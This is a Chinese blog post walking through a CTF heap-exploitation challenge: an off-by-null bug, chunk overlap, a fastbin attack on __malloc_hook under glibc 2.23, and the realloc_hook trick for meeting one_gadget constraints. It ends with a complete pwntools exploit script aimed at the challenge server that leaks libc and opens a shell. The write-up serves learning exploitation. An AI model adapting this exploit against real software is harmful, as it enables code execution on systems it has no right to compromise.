第一篇文章以及关于昨天做的一道题

为了证明这个暑假不是全在摸鱼
昨天做了道题,不是很难,但是过程一波三折,并且学到了一些新姿势,就突然很想把它记录下来,就干脆搭了个博客。
以下正文


分析

运行程序可以发现这是一道2.27下的题目,并且没有Edit功能

拖到IDA里看看,没有发现UAF

在add中发现了offbynull,然后事情就变得非常简单了,chunk shrink造overlap,又是2.27,很容易实现overlap
脚本写着倒是挺快的,本地也打下来了,但是在服务器那边

????
我好像全程没有碰过fastbin吧,这个error是怎么回事?又看了一下leak出的libc,很显然也不对,事情开始变得大条了起来。
于是我拿报错里的偏移算了一下,发现这他妈是个2.23的libc,这个时候就只能说攻防世界该喷了。
不过2.23照做,不过是fastbin改起来要小心一些,很快我就实现了对mallochook的任意写了,但是
onegadget全都不能用,事情再一次大条了起来。
然后下面则是新姿势。

新姿势

在mallochook前还有另一个指针reallochook,当我们调用realloc时
ZocSXj.png
会push一堆东西进去,如果reallochook不为空,就再pop出来,跳转过去。
那么我们有了新的劫持控制流的方式,将reallochook写为onegadget,将malllochook写为realloc中间,就可以实现对栈的深度控制,从而满足onegadget的需要。
老实说不是什么困难的利用方式,相比srop,iofile简单实用太多了,但是确实是第一次听说。
最后的脚本

from pwn import *
# r = process('./timu')
r = remote('111.198.29.45', 57897)
# context.log_level = 'debug'


def add(size, s):
r.sendlineafter('Your choice :', '1')
r.sendlineafter('Size: ', str(size))
r.sendlineafter('Data: ', s)


def delete(index):
r.sendlineafter('Your choice :', '2')
r.sendlineafter('Index: ', str(index))


add(0x510, 'a')
add(0x28, 'a')
add(0x5f8, 'a')
add(0x30, '/bin/sh')
delete(0)
delete(1)
add(0x28, 'a'*0x20+p64(0x550))
delete(2)
add(0x510, 'big')
r.sendlineafter('Your choice :', '3')
r.recvuntil('0 : ')
s = r.recv(6)
print s
libc = u64(s.ljust(8, '\0'))-0x3c4b78
print hex(libc)
mallochook = libc+0x3c4b10
delete(1)
# add(0x600,'a'*0x510+p64(0)+p64())
add(0x500, 'gg')
add(0x78, p64(0)+p64(0x71)+'ggggg')
delete(0)
delete(2)
add(0x78, p64(0)+p64(0x71)+p64(mallochook-0x23))
add(0x68, 'a')
add(0x68, 'a'*0xb+p64(libc+0x4526a)+p64(libc+0x846C2))

r.sendlineafter('Your choice :', '1')
r.sendlineafter('Size: ', '0')
r.interactive()